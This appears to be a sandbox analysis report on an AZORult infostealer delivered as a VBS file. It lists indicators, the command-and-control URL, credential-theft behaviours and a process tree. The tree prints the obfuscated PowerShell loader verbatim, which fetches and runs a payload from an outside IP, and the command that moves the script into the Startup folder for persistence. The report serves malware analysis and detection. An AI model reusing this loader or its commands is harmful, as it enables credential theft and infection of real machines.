azorult | 4e31ec8d34e7b2c7b80eae6a9e956e5e6c71c9119f5babefc8ac77025c96560c

Analysis

max time kernel
90s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20220414-en
submitted
20/05/2022, 05:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2900_291_pdf.vbs
Size 3KB
Sample220520-glwe8achb3
SHA256 4e31ec8d34e7b2c7b80eae6a9e956e5e6c71c9119f5babefc8ac77025c96560c
MD5 ae92d8b250020bc599cab811d625fab5
SHA1 ab7a7ca8e8e3c7e766254f552a94f43dc05301f4
SHA512 e7cf40bf9c96b401e2ca7f2ab3dcfe37eb809d4ff7b68e9fba3567ab01ed73f63467f6199026727bd5dc34acaec494c36deab142ffc904ffde62bff10424613c
MD5 SHA1 SHA512

Score

10^/10

azorult collection infostealer spyware stealer suricata trojan

Malware Config

Extracted

Family

azorult

http://46.183.223.118/iyk/Panel/index.php

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult
suricata: ET MALWARE AZORult Variant.4 Checkin M2
suricata: ET MALWARE AZORult Variant.4 Checkin M2
suricata
suricata: ET MALWARE AZORult v3.2 Server Response M3
suricata: ET MALWARE AZORult v3.2 Server Response M3
suricata
suricata: ET MALWARE Win32/AZORult V3.2 Client Checkin M13
suricata: ET MALWARE Win32/AZORult V3.2 Client Checkin M13
suricata

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	4644	WScript.exe
9	4480	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Control Panel\International\Geo\Nation	WScript.exe

Loads dropped DLL 6 IoCs

pid	Process
4480	powershell.exe
4480	powershell.exe
4304	aspnet_compiler.exe
4304	aspnet_compiler.exe
4304	aspnet_compiler.exe
4304	aspnet_compiler.exe

Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4480 set thread context of 4304	4480	powershell.exe	85

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	aspnet_compiler.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	aspnet_compiler.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1564	timeout.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4480	powershell.exe
4480	powershell.exe
4480	powershell.exe
4480	powershell.exe
4304	aspnet_compiler.exe
4304	aspnet_compiler.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
1180	cmd.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeDebugPrivilege	4480	powershell.exe
Token: SeIncreaseQuotaPrivilege	4480	powershell.exe
Token: SeSecurityPrivilege	4480	powershell.exe
Token: SeTakeOwnershipPrivilege	4480	powershell.exe
Token: SeLoadDriverPrivilege	4480	powershell.exe
Token: SeSystemProfilePrivilege	4480	powershell.exe
Token: SeSystemtimePrivilege	4480	powershell.exe
Token: SeProfSingleProcessPrivilege	4480	powershell.exe
Token: SeIncBasePriorityPrivilege	4480	powershell.exe
Token: SeCreatePagefilePrivilege	4480	powershell.exe
Token: SeBackupPrivilege	4480	powershell.exe
Token: SeRestorePrivilege	4480	powershell.exe
Token: SeShutdownPrivilege	4480	powershell.exe
Token: SeDebugPrivilege	4480	powershell.exe
Token: SeSystemEnvironmentPrivilege	4480	powershell.exe
Token: SeRemoteShutdownPrivilege	4480	powershell.exe
Token: SeUndockPrivilege	4480	powershell.exe
Token: SeManageVolumePrivilege	4480	powershell.exe
Token: 33	4480	powershell.exe
Token: 34	4480	powershell.exe
Token: 35	4480	powershell.exe
Token: 36	4480	powershell.exe
Token: SeIncreaseQuotaPrivilege	4480	powershell.exe
Token: SeSecurityPrivilege	4480	powershell.exe
Token: SeTakeOwnershipPrivilege	4480	powershell.exe
Token: SeLoadDriverPrivilege	4480	powershell.exe
Token: SeSystemProfilePrivilege	4480	powershell.exe
Token: SeSystemtimePrivilege	4480	powershell.exe
Token: SeProfSingleProcessPrivilege	4480	powershell.exe
Token: SeIncBasePriorityPrivilege	4480	powershell.exe
Token: SeCreatePagefilePrivilege	4480	powershell.exe
Token: SeBackupPrivilege	4480	powershell.exe
Token: SeRestorePrivilege	4480	powershell.exe
Token: SeShutdownPrivilege	4480	powershell.exe
Token: SeDebugPrivilege	4480	powershell.exe
Token: SeSystemEnvironmentPrivilege	4480	powershell.exe
Token: SeRemoteShutdownPrivilege	4480	powershell.exe
Token: SeUndockPrivilege	4480	powershell.exe
Token: SeManageVolumePrivilege	4480	powershell.exe
Token: 33	4480	powershell.exe
Token: 34	4480	powershell.exe
Token: 35	4480	powershell.exe
Token: 36	4480	powershell.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 4644 wrote to memory of 4480	4644	WScript.exe	80
PID 4644 wrote to memory of 4480	4644	WScript.exe	80
PID 4644 wrote to memory of 1180	4644	WScript.exe	82
PID 4644 wrote to memory of 1180	4644	WScript.exe	82
PID 4480 wrote to memory of 4272	4480	powershell.exe	84
PID 4480 wrote to memory of 4272	4480	powershell.exe	84
PID 4480 wrote to memory of 4272	4480	powershell.exe	84
PID 4480 wrote to memory of 4304	4480	powershell.exe	85
PID 4480 wrote to memory of 4304	4480	powershell.exe	85
PID 4480 wrote to memory of 4304	4480	powershell.exe	85
PID 4480 wrote to memory of 4304	4480	powershell.exe	85
PID 4480 wrote to memory of 4304	4480	powershell.exe	85
PID 4480 wrote to memory of 4304	4480	powershell.exe	85
PID 4480 wrote to memory of 4304	4480	powershell.exe	85
PID 4480 wrote to memory of 4304	4480	powershell.exe	85
PID 4480 wrote to memory of 4304	4480	powershell.exe	85
PID 4304 wrote to memory of 836	4304	aspnet_compiler.exe	86
PID 4304 wrote to memory of 836	4304	aspnet_compiler.exe	86
PID 4304 wrote to memory of 836	4304	aspnet_compiler.exe	86
PID 836 wrote to memory of 1564	836	cmd.exe	88
PID 836 wrote to memory of 1564	836	cmd.exe	88
PID 836 wrote to memory of 1564	836	cmd.exe	88

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	aspnet_compiler.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\2900_291_pdf.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $t0='DE5'.replace('D','I').replace('5','x');sal P $t0;$gf=(00100100,01000101,01110010,01110010,01101111,01110010,01000001,01100011,01110100,01101001,01101111,01101110,01010000,01110010,01100101,01100110,01100101,01110010,01100101,01101110,01100011,01100101,00100000,00111101,00100000,00100111,01010011,01101001,01101100,01100101,01101110,01110100,01101100,01111001,01000011,01101111,01101110,01110100,01101001,01101110,01110101,01100101,00100111,00111011,00100100,01110100,00110101,00110110,01100110,01100111,00100000,00111101,00100000,01011011,01000101,01101110,01110101,01101101,01011101,00111010,00111010,01010100,01101111,01001111,01100010,01101010,01100101,01100011,01110100,00101000,01011011,01010011,01111001,01110011,01110100,01100101,01101101,00101110,01001110,01100101,01110100,00101110,01010011,01100101,01100011,01110101,01110010,01101001,01110100,01111001,01010000,01110010,01101111,01110100,01101111,01100011,01101111,01101100,01010100,01111001,01110000,01100101,01011101,00101100,00100000,00110011,00110000,00110111,00110010,00101001,00111011,01011011,01010011,01111001,01110011,01110100,01100101,01101101,00101110,01001110,01100101,01110100,00101110,01010011,01100101,01110010,01110110,01101001,01100011,01100101,01010000,01101111,01101001,01101110,01110100,01001101,01100001,01101110,01100001,01100111,01100101,01110010,01011101,00111010,00111010,01010011,01100101,01100011,01110101,01110010,01101001,01110100,01111001,01010000,01110010,01101111,01110100,01101111,01100011,01101111,01101100,00100000,00111101,00100000,00100100,01110100,00110101,00110110,01100110,01100111,00111011,01000001,01100100,01100100,00101101,01010100,01111001,01110000,01100101,00100000,00101101,01000001,01110011,01110011,01100101,01101101,01100010,01101100,01111001,01001110,01100001,01101101,01100101,00100000,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00111011,01100100,01101111,00100000,01111011,00100100,01110000,01101001,01101110,01100111,00100000,00111101,00100000,01110100,01100101,01110011,01110100,00101101,01100011,01101111,01101110,01101110,01100101,01100011,01110100,01101001,01101111,01101110,00100000,00101101,01100011,01101111,01101101,01110000,00100000,01100111,01101111,01101111,01100111,01101100,01100101,00101110,01100011,01101111,01101101,00100000,00101101,01100011,01101111,01110101,01101110,01110100,00100000,00110001,00100000,00101101,01010001,01110101,01101001,01100101,01110100,01111101,00100000,01110101,01101110,01110100,01101001,01101100,00100000,00101000,00100100,01110000,01101001,01101110,01100111,00101001,00111011,00100100,01110100,01110100,01111001,00111101,01010000,00101000,00100111,00101000,01001110,01100101,01110111,00101101,00100111,00101011,00100111,01001111,01100010,01101010,01100101,00100111,00101011,00100111,01100011,01110100,00100000,01001110,01100101,00100111,00101011,00100111,01110100,00101110,01010111,01100101,00100111,00101011,00100111,01100010,01000011,01101100,01101001,00100111,00101011,00100111,01100101,01101110,01110100,00101001,00100111,00101001,00111011,00100100,01101101,01110110,00111101,00100000,01011011,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00101110,01001001,01101110,01110100,01100101,01110010,01100001,01100011,01110100,01101001,01101111,01101110,01011101,00111010,00111010,01000011,01100001,01101100,01101100,01000010,01111001,01101110,01100001,01101101,01100101,00101000,00100100,01110100,01110100,01111001,00101100,00100111,01000100,01101111,01110111,01101110,00100111,00100000,00101011,00100000,00100111,01101100,01101111,01100001,01100100,00100111,00100000,00101011,00100000,00100111,01010011,01110100,01110010,00100111,00100000,00101011,00100000,00100111,01101001,01101110,01100111,00100111,00101100,01011011,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00101110,01000011,01100001,01101100,01101100,01010100,01111001,01110000,01100101,01011101,00111010,00111010,01001101,01100101,01110100,01101000,01101111,01100100,00101100,00100111,01101000,01110100,01110100,01110000,00100111,00100000,00101011,00100000,00100111,00111010,00101111,00101111,00110001,00111000,00110101,00101110,00110010,00111001,00101110,00111000,00101110,00110001,00110001,00110100,00101111,01101001,01111001,01101011,01100101,00101111,01000101,01101110,01100011,01110010,01111001,01110000,01110100,01100101,01100100,01000011,01101100,01101001,01100101,01101110,01110100,00110101,00111001,00110010,00110111,00110001,00101110,01101010,01110000,01100111,00100111,00101001,01111100,01010000) | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) };P([system.String]::Join('', $gf))
  2⤵
  - Blocklisted process makes network request
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4480
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    PID:4272
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    - Loads dropped DLL
    - Accesses Microsoft Outlook profiles
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    - outlook_office_path
    - outlook_win_path
    PID:4304
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "aspnet_compiler.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:836
    - - C:\Windows\SysWOW64\timeout.exe
        
        C:\Windows\system32\timeout.exe 3
        5⤵
        Delays execution with timeout.exe
        
        PID:1564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c move "C:\Users\Admin\AppData\Local\Temp\2900_291_pdf.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
  2⤵
  - Suspicious behavior: RenamesItself
  PID:1180

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

mozglue.dll

Path C:\Users\Admin\AppData\Local\Temp\2fda\mozglue.dll
Size 135KB
SHA256 830533bb569594ec2f7c07896b90225006b90a9af108f49d6fb6bebd02428b2d
MD5 9e682f1eb98a9d41468fc3e50f907635
SHA1 85e0ceca36f657ddf6547aa0744f0855a27527ee
SHA512 230230722d61ac1089fabf3f2decfa04f9296498f8e2a2a49b1527797dca67b5a11ab8656f04087acadf873fa8976400d57c77c404eba4aff89d92b9986f32ed
SSDEEP 3072:8Oqe98Ea4usvd5jm6V0InXx/CHzGYC6NccMmxK3atIYHD2JJJsPyimY4kQkE:Vqe98Evua5Sm0ux/5YC6NccMmtXHD2JR
MD5 SHA1 SHA512 SSDEEP

Submit Download

msvcp140.dll

Path C:\Users\Admin\AppData\Local\Temp\2fda\msvcp140.dll
Size 429KB
SHA256 334e69ac9367f708ce601a6f490ff227d6c20636da5222f148b25831d22e13d4
MD5 109f0f02fd37c84bfc7508d4227d7ed5
SHA1 ef7420141bb15ac334d3964082361a460bfdb975
SHA512 46eb62b65817365c249b48863d894b4669e20fcb3992e747cd5c9fdd57968e1b2cf7418d1c9340a89865eadda362b8db51947eb4427412eb83b35994f932fd39
SSDEEP 12288:Mlp4PwrPTlZ+/wKzY+dM+gjZ+UGhUgiW6QR7t5s03Ooc8dHkC2es9oV:Mlp4PePozGMA03Ooc8dHkC2ecI
MD5 SHA1 SHA512 SSDEEP

Submit Download

nss3.dll

Path C:\Users\Admin\AppData\Local\Temp\2fda\nss3.dll
Size 1.2MB
SHA256 f0e6210d4a0d48c7908d8d1c270449c91eb4523e312a61256833bfeaf699abfb
MD5 556ea09421a0f74d31c4c0a89a70dc23
SHA1 f739ba9b548ee64b13eb434a3130406d23f836e3
SHA512 2481fc80dffa8922569552c3c3ebaef8d0341b80427447a14b291ec39ea62ab9c05a75e85eef5ea7f857488cab1463c18586f9b076e2958c5a314e459045ede2
SSDEEP 24576:XDI7I4/FeoJQuQ3IhXtHfjyqgJ0BnPQAib7/12bg2JSna5xfg0867U4MSpu731hn:uQ3YX5jyqgynPkbd24VwMSpu7Fhn
MD5 SHA1 SHA512 SSDEEP

Submit Download

vcruntime140.dll

Path C:\Users\Admin\AppData\Local\Temp\2fda\vcruntime140.dll
Size 81KB
SHA256 c40bb03199a2054dabfc7a8e01d6098e91de7193619effbd0f142a7bf031c14d
MD5 7587bf9cb4147022cd5681b015183046
SHA1 f2106306a8f6f0da5afb7fc765cfa0757ad5a628
SHA512 0b63e4979846ceba1b1ed8470432ea6aa18cca66b5f5322d17b14bc0dfa4b2ee09ca300a016e16a01db5123e4e022820698f46d9bad1078bd24675b4b181e91f
SSDEEP 1536:AQXQNgAuCDeHFtg3uYQkDqiVsv39niI35kU2yecbVKHHwhbfugbZyk:AQXQNVDeHFtO5d/A39ie6yecbVKHHwJF
MD5 SHA1 SHA512 SSDEEP

Submit Download

AgileDotNetRT64.dll

Path C:\Users\Admin\AppData\Local\Temp\3f8b3fda-7c61-4ab4-930f-214c6ca10432\AgileDotNetRT64.dll
Size 75KB
SHA256 adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29
MD5 42b2c266e49a3acd346b91e3b0e638c0
SHA1 2bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1
SHA512 770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81
SSDEEP 1536:mXvHWEbJMwk3HwGTc/1dbJ5xUSns9Ymi5j:ovHsTTI1xUSns9YmEj
MD5 SHA1 SHA512 SSDEEP

Submit Download

AgileDotNetRT64.dll

Path C:\Users\Admin\AppData\Local\Temp\ac0a83c9-940b-4ffc-8fb9-5eb938a1d618\AgileDotNetRT64.dll
Size 75KB
SHA256 adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29
MD5 42b2c266e49a3acd346b91e3b0e638c0
SHA1 2bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1
SHA512 770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81
SSDEEP 1536:mXvHWEbJMwk3HwGTc/1dbJ5xUSns9Ymi5j:ovHsTTI1xUSns9YmEj
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/4304-137-0x0000000000400000-0x0000000000420000-memory.dmp

Download

memory/4304-140-0x0000000000400000-0x0000000000420000-memory.dmp

Download

memory/4304-141-0x0000000000400000-0x0000000000420000-memory.dmp

Download

memory/4480-135-0x00007FFA88840000-0x00007FFA8898E000-memory.dmp

Download

memory/4480-133-0x00007FFA8D360000-0x00007FFA8DE21000-memory.dmp

Download

memory/4480-132-0x00000191A7430000-0x00000191A7452000-memory.dmp

Download